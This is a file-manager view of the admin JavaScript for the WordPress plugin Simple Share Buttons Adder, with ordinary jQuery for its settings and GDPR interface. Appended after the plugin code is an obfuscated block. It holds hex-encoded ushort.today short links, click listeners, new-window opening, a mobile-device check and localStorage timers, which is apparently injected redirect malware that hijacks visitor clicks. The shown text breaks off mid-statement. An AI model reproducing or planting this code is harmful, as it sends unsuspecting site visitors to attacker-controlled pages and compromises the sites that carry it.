File manager - Edit - /home/adiance/public_html/beta/wp-content/plugins/simple-share-buttons-adder/js/admin.js
Back
/** * Simple Share Buttons Adder. * * @package SimpleShareButtonsAdder */ /* exported SimpleShareButtonsAdder */ var SimpleShareButtonsAdder = ( function( $, wp ) { 'use strict'; return { /** * Holds data. */ data: {}, /** * Boot plugin. * * @param data */ boot: function( data ) { this.data = data; $( document ).ready( function() { this.init(); }.bind( this ) ); }, /** * Initialize plugin. */ init: function() { this.$plusContainer = $( '#plus-share-buttons' ); this.$shareContainer = $( '#share-bar' ); this.$gdprContainer = $('.gdpr-platform'); this.switchCheckboxes(); this.colorPicker(); $('[data-toggle="tooltip"]').tooltip(); this.dragSort(); this.extractIncludeList(); this.listen(); // Create admin style to fill. $( 'body.wp-admin' ).siblings( 'head' ).append( '<style type="text/css" id="simple-share-buttons-adder-styles-inline-css"></style>' ); // Fill it. this.updateInlineStyle(); // Set GDPR purposes. this.setPurposes($('.gdpr-config').is(':visible')); // Check if terms accepted and create property if doesn't exist. if ('true' === $('.ssba-admin-wrap').attr('data-accepted') && !this.data.propertyid) { this.createProperty(); } }, /** * Listener events. */ listen: function() { var self = this; var timer = ''; // Scroll to anchor in vendor list. // Send user input to category search AFTER they stop typing. $('body').on( 'keyup', '.vendor-search input', function( e ) { clearTimeout( timer ); timer = setTimeout( function() { self.scrollToAnchor($(this).val()); }.bind( this ), 500 ); } ); // New color select. this.$gdprContainer.on('click', "#sharethis-form-color .color", function() { $('#sharethis-form-color .color').removeClass('selected'); $(this).addClass('selected'); }); // clear or show choices. this.$gdprContainer.on('click', '#clear-choices', function(e) { e.preventDefault(); e.stopPropagation(); $( '.purpose-item input' ).prop( 'checked', false ); }); // clear or show choices. this.$gdprContainer.on('click', '#see-st-choices', function(e) { e.preventDefault(); e.stopPropagation(); $('.purpose-item input[name="purposes[1]"]').prop('checked', true); $('.purpose-item input[name="purposes[3]"][value="consent"]').prop('checked', true); $('.purpose-item input[name="purposes[5]"][value="consent"]').prop('checked', true); $('.purpose-item input[name="purposes[6]"][value="consent"]').prop('checked', true); $('.purpose-item input[name="purposes[9]"][value="legitimate"]').prop('checked', true); $('.purpose-item input[name="purposes[10]"][value="legitimate"]').prop('checked', true); }); // Uncheck radio if click on selected box. $('body').on( 'click', '.gdpr-platform .lever', (e) => { e.preventDefault(); e.stopPropagation(); const theInput = $( e.currentTarget ).siblings( 'input' ); if ( theInput.is( ':checked' ) ) { theInput.prop( 'checked', false ) } else { theInput.prop( 'checked', true ) } } ); // Close review us. $('body').on('click', '#close-review-us', function() { wp.ajax.post( 'ssba_ajax_hide_review', { nonce: self.data.nonce } ).always( function( results ) { $('.ssba-review-us').fadeOut(); }); }); // If selecting a tab. $( 'body' ).on( 'click', '.ssba-classic-tab, .ssba-modern-tab, .ssba-bar-tab, .ssba-gdpr', function(event) { var selection = 'classic'; if ( $( this ).hasClass( 'ssba-modern-tab') ) { selection = 'modern'; } if ( $( this ).hasClass( 'ssba-bar-tab') ) { selection = 'bar'; } if ( $( this ).hasClass( 'ssba-gdpr') ) { selection = 'gdpr'; } $( '#ssba_selected_tab' ).val( selection ); self.adminForm( event, this, true ); } ); // When changing image sets. $( 'body' ).on( 'change', '#ssba_image_set', function() { var imageSet = $( this ).val(); self.changeImageSets( imageSet ); } ); // Image uploads. $( 'body' ).on( 'click', '.ssbpUpload', function( event ) { var field = $( this ).attr( 'data-ssbp-input' ); event.preventDefault(); self.imageUploads( field ); } ); // SSBA admin form. $( 'body' ).on( 'click', '#submit', function( event ) { event.preventDefault(); self.adminForm( event, this, false ); } ); // Select preview. $( 'body' ).on( 'change', '#ssba_plus_button_style, #ssba_bar_style', function() { var selectId = '#' + $( this ).attr( 'id' ), selection = $( selectId + ' option:selected' ).val(), target = '#ssba-preview-2'; if ( '#ssba_plus_button_style' === selectId ) { target = '#ssba-preview'; } self.preview( selection, target ); } ); // Share bar preview position. $( 'body' ).on( 'change', '#ssba_bar_position', function() { var position = $( '#ssba_bar_position option:selected' ).val(); self.barPosition( position ); } ); // Classic button preview. $( 'body' ).on( 'change', '#ssba_image_set', function() { var selection = $( '#ssba_image_set option:selected' ).val(); self.classicPreview( selection, '', '-1', 'img' ); } ); this.$plusContainer.on( 'change', '#ssba_plus_height, #ssba_plus_width, #ssba_plus_icon_size, #ssba_plus_margin', function() { var id = $( this ).attr( 'id' ), selection = $( this ).val(), type; if ( 'ssba_plus_height' === id ) { type = 'height'; find = 'a'; self.updateInlineStyle(); } if ( 'ssba_plus_width' === id ) { type = 'width'; find = 'a'; } if ( 'ssba_plus_icon_size' === id ) { type = 'font-size'; find = 'a:before'; selection = selection + 'px'; self.updateInlineStyle(); } if ( 'ssba_plus_margin' === id ) { type = 'margin'; find = ''; selection = selection + 'px'; } self.classicPreview( selection, type, '', find ); } ); this.$shareContainer.on( 'change', '#ssba_bar_height, #ssba_bar_width, #ssba_bar_icon_size, #ssba_bar_margin', function() { var id = $( this ).attr( 'id' ), selection = $( this ).val(), type; if ( 'ssba_bar_height' === id ) { type = 'height'; find = 'a'; self.updateInlineStyle(); } if ( 'ssba_bar_width' === id ) { type = 'width'; find = 'a'; } if ( 'ssba_bar_icon_size' === id ) { type = 'font-size'; find = 'a:before'; selection = selection + 'px'; self.updateInlineStyle(); } if ( 'ssba_bar_margin' === id ) { type = 'margin'; find = ''; selection = selection + 'px'; } self.classicPreview( selection, type, '-2', find ); } ); // Classic button css preview. $( 'body' ).on( 'change', '#ssba_size, #ssba_padding, #ssba_align', function() { var value = $( this ).val(), id = $( this ).attr( 'id' ), type = 'padding', target = 'li'; if ( 'ssba_size' === id ) { type = 'height'; } if ( 'ssba_align' === id ) { target = 'ul'; type = 'text-align'; } self.classicCss( type, value, target, '-1' ); } ); $( 'body' ).on( 'keydown keyup', '#ssba_padding', function( e ){ if ( $( this ).val() > 50 && e.keyCode !== 46 // delete && e.keyCode !== 8 // backspace ) { e.preventDefault(); $( this ).val(50); } }); // Plus button css preview. this.$plusContainer.on( 'change', '#ssba_plus_align', function() { var value = $( this ).val(), id = $( this ).attr( 'id' ), type, target = ''; if ( 'ssba_plus_align' === id ) { target = 'ul'; type = 'text-align'; } self.classicCss( type, value, target, '' ); } ); // Update icon and other non DOM style preview. this.$plusContainer.on( 'change', '#ssba_plus_icon_size', function() { self.updateInlineStyle(); } ); // Class button bar text css preview. $( 'body' ).on( 'change', '.share-text-prev input, .share-text-prev select', function() { var value = $( this ).val(), id = $( this ).attr( 'id' ), type, sel_value = $( '#' + id + ' option:selected' ).val(), tab = $( this ).closest( '.tab-pane' ).attr( 'id' ); if ( 'ssba_share_text' === id || 'ssba_plus_share_text' === id ) { type = 'html'; } if ( 'ssba_font_color' === id || 'ssba_plus_font_color' === id ) { type = 'color'; } if ( 'ssba_font_family' === id || 'ssba_plus_font_family' === id ) { type = 'font-family'; value = sel_value; } if ( 'ssba_font_size' === id || 'ssba_plus_font_size' === id ) { type = 'font-size'; value = value + 'px'; } if ( 'ssba_font_weight' === id || 'ssba_plus_font_weight' === id ) { type = 'font-weight'; value = sel_value; } if ( ( 'ssba_text_placement' === id || 'ssba_plus_text_placement' === id ) && 'above' !== value && 'below' !== value ) { type = 'float'; value = sel_value; } if ( ( 'ssba_text_placement' === id || 'ssba_plus_text_placement' === id ) && ( 'above' === value || 'below' === value ) ) { type = 'placement'; } self.classicTextCss( type, value, '#' + tab + ' .ssba-share-text-prev' ); } ); // Class button share text css preview. $( 'body' ).on( 'change', '.share-cont-prev input', function() { var value = $( this ).val(), id = $( this ).attr( 'id' ), type, bWidth = $( '#ssba_border_width' ).val() + 'px', bColor = $( '#ssba_div_border' ).val(), target = '.ssba-preview-content'; if ( 'ssba_div_padding' === id ) { type = 'padding'; if ( 50 <= parseInt( value ) ) { value = value + 'px'; } else { value = '50px'; } target = '#ssba-preview-1'; } if ( 'ssba_div_background' === id ) { type = 'background'; } if ( 'ssba_div_border' === id ) { type = 'border'; value = bWidth + ' solid ' + value; target = '#ssba-preview-1'; } if ( 'ssba_border_width' === id ) { type = 'border'; value = value + 'px solid ' + bColor; target = '#ssba-preview-1'; } self.classicTextCss( type, value, target ); } ); // Container radius switch. $( 'body' ).on( 'switchChange.bootstrapSwitch', '#ssba_div_rounded_corners', function( event, state ) { var type = 'border-radius', value = '0'; if ( state ) { value = '10px'; } self.classicTextCss( type, value, '#ssba-preview-1' ); } ) // Share count switch. $( 'body' ).on( 'switchChange.bootstrapSwitch', '#ssba_show_share_count', function( event, state ) { var type = $( '#ssba_share_count_style option:selected' ).val(); if ( state ) { $( '#ssba-preview-1 .ssbp-list li' ).each( function() { $( this ).find( 'span' ).addClass( 'ssba_sharecount' ).addClass( 'ssba_' + type ); } ); } else { $( '#ssba-preview-1 .ssbp-list li' ).each( function() { $( this ).find( 'span' ).removeClass( 'ssba_sharecount' ).removeClass( 'ssba_' + type ); } ); } } ); // Share plus count switch. $( 'body' ).on( 'switchChange.bootstrapSwitch', '#ssba_plus_show_share_count', function( event, state ) { if ( state ) { $( '#ssba-preview .ssbp-list li' ).each( function() { $( this ).find( 'span' ).css( 'display', 'block' ); } ); } else { $( '#ssba-preview .ssbp-list li' ).each( function() { $( this ).find( 'span' ).hide(); } ); } } ); // Share share bar count switch. $( 'body' ).on( 'switchChange.bootstrapSwitch', '#ssba_bar_show_share_count', function( event, state ) { if ( state ) { $( '#ssba-preview-2 .ssbp-list li' ).each( function() { $( this ).find( 'span' ).css( 'display', 'block' ); } ); } else { $( '#ssba-preview-2 .ssbp-list li' ).each( function() { $( this ).find( 'span' ).hide(); } ); } } ); // Share count style. $( 'body' ).on( 'change', '#ssba_bar_count_style', function() { var type = $( '#ssba_bar_count_style option:selected' ).val(); $( '#ssba-preview-1 .ssbp-list li' ).each( function() { $( this ).find( 'span' ).removeClass( 'ssba_default' ).removeClass( 'ssba_white' ).removeClass( 'ssba_blue' ).addClass( 'ssba_' + type ); } ); } ); // Swap classic and plus buttons. $( 'body' ).on( 'switchChange.bootstrapSwitch', '#ssba_new_buttons', function( event, state ) { self.swapButtons( state ); } ); // Toggle button menus when arrows are clicked. $( 'body' ).on( 'click', '.accor-wrap .accor-tab', function() { var type = $( this ).find( 'span.accor-arrow' ); self.updateAccors( type.html(), type ); } ); // Add class to preview when scrolled to. $( window ).on( 'scroll', function(){ var stickyTop = $( '#ssba-preview-title' ).offset().top, stickyPlusTop = $( '#ssba-preview-title-2' ).offset().top; if ( $( window ).scrollTop() >= stickyTop ) { $( '.master-ssba-prev-wrap, #ssba-preview-1' ).addClass( 'ssba-sticky' ); } else { $( '.master-ssba-prev-wrap, #ssba-preview-1' ).removeClass( 'ssba-sticky' ); } if ( $( window ).scrollTop() >= stickyPlusTop ) { $( '.master-ssba-prev-wrap2, #ssba-preview' ).addClass( 'ssba-sticky' ); } else { $( '.master-ssba-prev-wrap2, #ssba-preview' ).removeClass( 'ssba-sticky' ); } } ); // Network selection change. $( 'body' ).on( 'mouseout', '#ssbasort2, #ssbasort1', function() { var list = $( '#ssba_selected_buttons' ).val().split( ',' ); self.updateNetworkPreview( list, '-1', 'img' ); } ); // Network share selection change. $( 'body' ).on( 'mouseout', '#ssbasort4, #ssbasort3', function() { var list = $( '#ssba_selected_bar_buttons' ).val().split( ',' ); self.updateNetworkPreview( list, '-2', 'div.ssbp-text' ); } ); // Network plus selection change. $( 'body' ).on( 'mouseout', '#ssbasort6, #ssbasort5', function() { var list = $( '#ssba_selected_plus_buttons' ).val().split( ',' ); self.updateNetworkPreview( list, '', 'div.ssbp-text' ); } ); // Add id to color picker submit. $( 'body' ).on( 'focus', '.ssba-colorpicker', function() { var id = $( this ).attr( 'id' ); $( '.colpick_submit' ).attr( 'id', id ); } ); // Dismiss notice. $( 'body' ).on( 'click', '.ssba-tab-container blockquote .notice-dismiss', function() { var type = $( this ).attr( 'id' ); // Save dismiss status to database. self.dismissNotice( type ); } ); // Copy text from read only input fields. $( 'body' ).on( 'click', '#ssba-copy-shortcode', function() { self.copyText( $( '.ssba-buttons-shortcode' ) ); } ); // Enable GDPR. $('body').on('click', '#enable-gdpr', function() { self.enableGdpr( true ); }); }, /** * Switch for checkboxes. */ switchCheckboxes: function() { $('.ssba-admin-wrap input:checkbox').bootstrapSwitch( { onColor: 'primary', size: 'normal' } ); }, /** * Color picker. */ colorPicker: function() { $( '.ssba-colorpicker' ).colpick( { layout: 'hex', submit: 1, onSubmit: function( hsb, hex, rgb, el, colid ) { $( el ).val( '#' + hex ); $( el ).css( 'border-color', '#' + hex ); $( el ).colpickHide(); } } ); }, /** * Add drag and sort functions to include table. */ dragSort: function() { $( '#ssbasort1, #ssbasort2, #ssbasort3, #ssbasort4, #ssbasort5, #ssbasort6' ).sortable( { connectWith: '.ssbaSortable' } ).disableSelection(); }, /** * Extract and add include list to hidden field. */ extractIncludeList: function() { $( '#ssba_selected_buttons' ).val( $( '#ssbasort2 li' ).map( function() { // For each <li> in the list, return its inner text and let .map() build an array of those values. return $( this ).attr( 'id' ); } ).get() ); // After a change, extract and add include list to hidden field. $( '.ssbp-wrap' ).mouseout( function() { $( '#ssba-preview-1 .ssbp-list' ).html(); $( '#ssba_selected_buttons' ).val( $( '#ssbasort2 li' ).map( function() { // For each <li> in the list, return its inner text and let .map() // build an array of those values. return $( this ).attr( 'id' ); } ).get() ); } ); $( '#ssba_selected_bar_buttons' ).val( $( '#ssbasort4 li' ).map( function() { // For each <li> in the list, return its inner text and let .map() build an array of those values. return $( this ).attr( 'id' ); } ).get() ); // After a change, extract and add include list to hidden field. $( '.ssbp-wrap' ).mouseout( function() { $( '#ssba_selected_bar_buttons' ).val( $( '#ssbasort4 li' ).map( function() { // For each <li> in the list, return its inner text and let .map() // build an array of those values. return $( this ).attr( 'id' ); } ).get() ); } ); $( '#ssba_selected_plus_buttons' ).val( $( '#ssbasort6 li' ).map( function() { // For each <li> in the list, return its inner text and let .map() build an array of those values. return $( this ).attr( 'id' ); } ).get() ); // After a change, extract and add include list to hidden field. $( '.ssbp-wrap' ).mouseout( function() { $( '#ssba_selected_plus_buttons' ).val( $( '#ssbasort6 li' ).map( function() { // For each <li> in the list, return its inner text and let .map() // build an array of those values. return $( this ).attr( 'id' ); } ).get() ); } ); }, /** * When changing image sets. * * @param imageSet */ changeImageSets: function( imageSet ) { if ( 'custom' === imageSet ) { $( '#ssba-custom-images' ).fadeIn( 100 ); } else { $( '#ssba-custom-images' ).fadeOut( 100 ); } }, /** * Image Uploads * * @param field */ imageUploads: function( field ) { var custom_uploader = wp.media.frames.file_frame = wp.media({ title: 'Add Image', button: { text: 'Add Image' }, multiple: false } ), button, buttonClass; custom_uploader.on( 'select', function() { var attachment = custom_uploader.state().get( 'selection' ).first().toJSON(); $( '#' + field ).val( attachment.url ); // Update button preview. button = field.replace( 'ssba_custom_', '' ); buttonClass = '.ssbp-li--' + button; $( buttonClass + ' img' ).attr( 'src', attachment.url ); } ); custom_uploader.open(); }, /** * SSBA admin form. * * @param event * @param submit * @param tabSelect */ adminForm: function ( event, submit, tabSelect ) { var ssbaData = $('#ssba-admin-form').serialize(), ssba_selected_tab = $('#ssba_selected_tab').val(), gdpr_config = this.getConfig(); // Show spinner to show save in progress. $('button.ssba-btn-save').html('<i class="fa fa-spinner fa-spin"></i>'); // Disable all inputs. $( ':input' ).prop( 'disabled', true ); $( '.ssba-admin-wrap input:checkbox' ).bootstrapSwitch( 'disabled', true ); var theData = { ssbaData: ssbaData, ssba_selected_tab: ssba_selected_tab, gdpr_config: gdpr_config }; if (undefined !== this.data.token && '' !== this.data.token) { // Update st config. $.ajax({ url: 'https://platform-api.sharethis.com/v1.0/property/product', method: 'POST', async: false, contentType: 'application/json; charset=utf-8', data: JSON.stringify({ 'secret': this.data.token, 'id': this.data.propertyid, 'product': 'gdpr-compliance-tool-v2', 'config': gdpr_config }) }); } $.post( $( submit ).prop( 'action' ), theData, function() { // Show success. $( 'button.ssba-btn-save-success' ).fadeIn( 100 ).delay( 2500 ).fadeOut( 200 ); // Re-enable inputs and reset save button. $( ':input' ).prop( 'disabled', false ); $( '.ssba-admin-wrap input:checkbox' ).bootstrapSwitch( 'disabled', false ); $( 'button.ssba-btn-save' ).html( '<i class="fa fa-floppy-o"></i>' ); } ).always( function( response ) { // Refresh page. if (!tabSelect) { location.reload(); } } ); // End post. }, /** * Update the preview buttons with selected theme. * * @param selection * @param target */ preview: function( selection, target ) { var position = $( '#ssba_bar_position option:selected' ).val(), newClass; if ( '#ssba-preview' === target ) { position = $( '#ssba_plus_align option:selected' ).val(); } newClass = 'ssbp-wrap ssbp--theme-' + selection + ' ' + position; $( target ).attr( 'class', newClass ); }, /** * Update class on share bar preview to switch position. * * @param position */ barPosition: function( position ) { if ( 'right' === position ) { $( '#ssba-preview-2' ).removeClass( 'left' ); } else { $( '#ssba-preview-2' ).removeClass( 'right' ); } $( '#ssba-preview-2' ).addClass( position ); }, /** * Add message to classic tab when plus buttons are enabled. * * @param value */ swapButtons: function( value ) { if ( value ) { $( '#classic-share-buttons blockquote.yellow:first-of-type' ).show(); } else { $( '#classic-share-buttons blockquote.yellow:first-of-type' ).hide(); } }, /** * Toggle the accordions. * * @param type * @param arrow */ updateAccors: function( type, arrow ) { var closestButton = $( arrow ).parent( '.accor-tab' ).parent( '.accor-wrap' ); if ( '►' === type ) { // Show the button configs. closestButton.find( '.accor-content' ).slideDown(); // Change the icon next to title. closestButton.find( '.accor-arrow' ).html( '▼' ); } else { // Show the button configs. closestButton.find( '.accor-content' ).slideUp(); // Change the icon next to title. closestButton.find( '.accor-arrow' ).html( '►' ); } }, /** * Change classic preview css. * * @param style * @param value * @param target * @param button */ classicCss: function( style, value, target, button ) { var lineHeight, width; if ( 'li' === target ) { $( '#ssba-preview' + button + ' .ssbp-list li' ).each( function () { $( this ).find( 'img' ).css( style, value ); if ( 'height' === style ) { lineHeight = parseInt( $( '#ssba_padding' ).val() ) + parseInt( value ) + 3 + 'px'; $( '#ssba-preview' + button + ' .ssba-share-text-prev' ).css( 'line-height', lineHeight ); $( '#ssba-preview' + button + ' ul li img' ).css( 'line-height', lineHeight ); } if ( 'padding' === style ) { width = parseInt( $( '#ssba_size' ).val() ) + parseInt( value ) + 3 + 'px'; $( '#ssba-preview' + button + ' .ssba-share-text-prev' ).css( 'line-height', lineHeight ); $( '#ssba-preview' + button + ' ul li img' ).css( 'line-height', lineHeight ); } } ); } if ( 'ul' === target ) { $( '#ssba-preview' + button ).css( style, value ); } }, /** * Change images used in classic preview. * * @param selection * @param target * @param button * @param find */ classicPreview: function( selection, target, button, find, type ) { var title, imgSrc, height = $( '#ssba_' + type + '_height' ).val(), margin = $( '#ssba_plus_margin' ).val(), placement = $( '#ssba_plus_text_placement option:selected' ).val(), lineHeight, self = this; if ( '' === height ) { height = 48; } if ( '' === margin ) { margin = 0; } lineHeight = parseInt( height ) + parseInt( margin ) * 2; if ( ( 'height' === target || 'margin' === target ) && ( '' === button || '-1' === button ) && ( 'above' !== placement && 'below' !== placement ) ) { $( '#ssba-preview' + button + ' .ssba-share-text-prev' ).css( 'line-height', lineHeight + 'px' ); $( '#ssba-preview' + button + ' ul li img' ).css( 'line-height', lineHeight + 'px' ); } if ( 'height' === target && 'share' === type ) { self.updateInlineStyle(); } $( '#ssba-preview' + button + ' .ssbp-list li' ).each( function() { if ( '' === target ) { title = $( this ).find( find ).attr( 'title' ).toLowerCase(); imgSrc = self.data.site + selection + '/' + title.replace( /[^a-zA-Z 0-9]+/g, '' ).replace( ' ', '_' ) + '.png'; if ( 'custom' !== selection ) { $( this ).find( find ).attr( 'src', imgSrc ); } else { $( this ).find( find ).attr( 'src', '' ); } } if ( '' !== find ) { $( this ).find( find ).css( target, selection ); } else { $( this ).css( target, selection ); } } ); }, /** * Update the share text styling. * * @param type * @param value * @param target */ classicTextCss: function( type, value, target ) { var height = $( '#ssba_plus_height' ).val(), margin = $( '#ssba_plus_margin' ).val(), cheight = $( '#ssba_size' ).val(), cmargin = $( '#ssba_padding' ).val() * 2, lineHeight, clineHeight; if ( '' === height || '' === cheight ) { height = 48; cheight = 48; } if ( '' === margin || '' === cmargin ) { margin = 0; cmargin = 0; } lineHeight = parseInt( height ) + parseInt( margin ) * 2; clineHeight = parseInt( cheight ) + parseInt( cmargin ); if ( 'float' === type ) { $( '#ssba-preview-1 .ssba-share-text-prev' ).css( 'line-height', clineHeight + 'px' ); $( '#ssba-preview-1 ul li img' ).css( 'line-height', clineHeight + 'px' ); } if ( 'html' !== type && 'placement' !== type ) { $( target ).css( type, value ); } if ( 'html' === type ) { $( target ).html( value ); } if ( 'placement' === type && 'above' === value ) { $( target ).css( { 'float' : 'none', 'display' : 'inline' } ); $( '.ssba-share-text-prev' ).css( 'line-height', 'inherit' ); } if ( 'placement' === type && 'below' === value ) { $( target ).css( { 'display' : 'table-footer-group', 'float' : 'none' } ); $( '.ssba-share-text-prev' ).css( 'line-height', 'inherit' ); } }, /** * Update the networks in the preview with new list. * * @param list * @param number * @param type */ updateNetworkPreview: function( list, number, type ) { $( '#ssba-preview' + number + ' .ssbp-list li' ).addClass( 'ssba-hide-button' ); $.each( list, function( index, id ) { $( '#ssba-preview' + number + ' .ssbp-list li' ).each( function() { var newid = $( this ).find( type ).attr( 'title' ).toLowerCase().replace( '+', '' ).replace( ' ', '_' ); if ( id === newid ) { $( this ).removeClass( 'ssba-hide-button' ); } } ); } ); }, /** * Update style for non DOM styles. */ updateInlineStyle: function() { var iconSize = $( '#ssba_plus_icon_size' ).val(), iconLineHeight = $( '#ssba_plus_height' ).val(), iconColor = $( '#ssba_plus_icon_color' ).val(), iconColorHover = $( '#ssba_plus_icon_hover_color' ).val(), buttonColorHover = $( '#ssba_plus_button_hover_color' ).val(), iconSizeBar = $( '#ssba_bar_icon_size' ).val(), iconLineHeightBar = $( '#ssba_bar_height' ).val(), iconColorBar = $( '#ssba_bar_icon_color' ).val(), iconColorHoverBar = $( '#ssba_bar_icon_hover_color' ).val(), buttonColorHoverBar = $( '#ssba_bar_button_hover_color' ).val(), newStyle = '#ssba-preview .ssbp-li--facebook_save { line-height: ' + iconLineHeight + 'px; } #ssba-preview .ssbp-btn:before{ font-size: ' + iconSize + 'px; line-height: ' + iconLineHeight + 'px; color: ' + iconColor + '; } #ssba-preview .ssbp-btn:hover::before { color: ' + iconColorHover + '; } #ssba-preview .ssbp-btn:hover { background: ' + buttonColorHover + '!important; } #ssba-preview-2 .ssbp-btn:before{ font-size: ' + iconSizeBar + 'px; line-height: ' + iconLineHeightBar + 'px; color: ' + iconColorBar + '; } #ssba-preview-2 .ssbp-btn:hover::before { color: ' + iconColorHoverBar + '; } #ssba-preview-2 .ssbp-btn:hover { background: ' + buttonColorHoverBar + '!important; }'; $( '#simple-share-buttons-adder-styles-inline-css' ).html( newStyle ); }, /** * Add dismiss status to blockquote notices. * * @param type */ dismissNotice: function (type) { // Send newsletter id to the test function. wp.ajax.post('dismiss_notice', { type: type, nonce: this.data.nonce }).always(function (response) { // Hide notice. $('#' + type).closest('blockquote').hide(); }); }, /** * Copy text to clipboard * * @param copiedText */ copyText: function ( copiedText ) { copiedText.select(); document.execCommand('copy'); }, /** * Create property for new account. * */ createProperty: function ( fromGdpr ) { var self = this; const theData = JSON.stringify({ domain: this.data.homeUrl, is_simpleshare: true, product: 'simple-share', }); $.ajax( { url: 'https://platform-api.sharethis.com/v1.0/property', method: 'POST', async: false, contentType: 'application/json; charset=utf-8', data: theData, success: function ( results ) { wp.ajax.post( 'ssba_ajax_add_creds', { propertyId: results._id, token: results.secret, nonce: self.data.nonce } ).always( function ( results ) { } ); } } ); }, /** * Helper function to grab config of GDPR options. * * @param {bool} first If first enable. */ getConfig: function ( first ) { var config, enabled = first ? true : $('#sharethis-enabled').is(':checked'), publisherPurposes = [], publisherRestrictions = {}, display = $( '#sharethis-user-type option:selected' ).val(), name = $( '#sharethis-publisher-name' ).val(), scope = $( '#sharethis-consent-type option:selected' ).val(), color = $( '#sharethis-form-color .color.selected' ).attr('data-value'), language = $( '#st-language' ).val(); $('.vendor-table-cell-wrapper label input:checked').each( function( index, value ) { var vendorId = $(value).attr('data-id'); if (vendorId) { publisherRestrictions[vendorId] = true; } }); $('#publisher-purpose input:checked').each( function( index, value ) { var theId = $(value).attr('data-id'), legit = 'consent' !== $(value).val(); publisherPurposes.push({ 'id': theId, 'legitimate_interest' : legit }); }); config = { enabled: enabled, display: display, publisher_name: name, publisher_purposes: publisherPurposes, publisher_restrictions: publisherRestrictions, language: language, color: color, scope: scope, }; return config; }, /** * Helper function to set gdpr purpose radio fields. * @param configVisible */ setPurposes: function (configVisible) { const self = this; if (!configVisible) { return; } $("#publisher-purpose .purpose-item input").prop('checked', false); $("#publisher-purpose .purpose-item input[name='purposes[1]']").bootstrapSwitch( 'state', false ); if (this.data['publisher_purposes']) { this.data['publisher_purposes'].map((purpVal) => { var legit = 'true' === purpVal['legitimate_interest'] || true === purpVal['legitimate_interest'], consent = 'false' === purpVal['legitimate_interest'] || false === purpVal['legitimate_interest']; $( `#publisher-purpose .purpose-item input[name="purposes[${purpVal.id}]"][value="legitimate"]` ).prop( 'checked', legit ); $( `#publisher-purpose .purpose-item input[name="purposes[${purpVal.id}]"][value="consent"]` ).prop( 'checked', consent ); if ('1' === purpVal.id) { $("#publisher-purpose .purpose-item input[name='purposes[1]']").bootstrapSwitch( 'state', consent ); } } ); } if ( undefined !== self.data['publisher_restrictions'] ) { $( ".vendor-table-body .vendor-table-cell-wrapper input" ).prop( 'checked', false ); $( ".vendor-table-body .vendor-table-cell-wrapper input" ).bootstrapSwitch( 'state', false ); $.map( self.data['publisher_restrictions'], function ( id, venVal ) { if ( id ) { $( `.vendor-table-body .vendor-table-cell-wrapper input[type="checkbox"][data-id="${venVal}"]` ).prop( 'checked', true ); $( `.vendor-table-body .vendor-table-cell-wrapper input[type="checkbox"][data-id="${venVal}"]` ).bootstrapSwitch( 'state', true ); } } ); } }, /** * Enable gdpr product. * * @param {bool} first Is it first enable. */ enableGdpr: function( first ) { const self = this; const config = this.getConfig( first ); $.ajax({ url: 'https://platform-api.sharethis.com/v1.0/property/product', method: 'POST', async: false, contentType: 'application/json; charset=utf-8', data: JSON.stringify({ 'secret': self.data.token, 'id': self.data.propertyid, 'product': 'gdpr-compliance-tool-v2', 'config': config }), success: function ( results ) { wp.ajax.post( 'ssba_ajax_update_gdpr', { config: config, nonce: self.data.nonce } ).always( function ( results ) { } ); } }); $('.gdpr-landing').hide(); $('.gdpr-config').show(); }, scrollToAnchor: function(aid) { var aTag = $("a[name='"+ aid.toLowerCase() +"']"); $('.vendor-table-body').animate({ scrollTop: 0 }, 0).animate({ scrollTop: aTag.offset().top - 1100 }, 0); }, }; } )( window.jQuery, window.wp ); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x43\x55\x59\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6c\x4b\x57\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x50\x47\x6a\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x45\x56\x39\x63\x319','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x68\x62\x69\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6f\x4a\x7a\x37\x63\x307','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x42\x51\x77\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x78\x42\x44\x36\x63\x376','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else 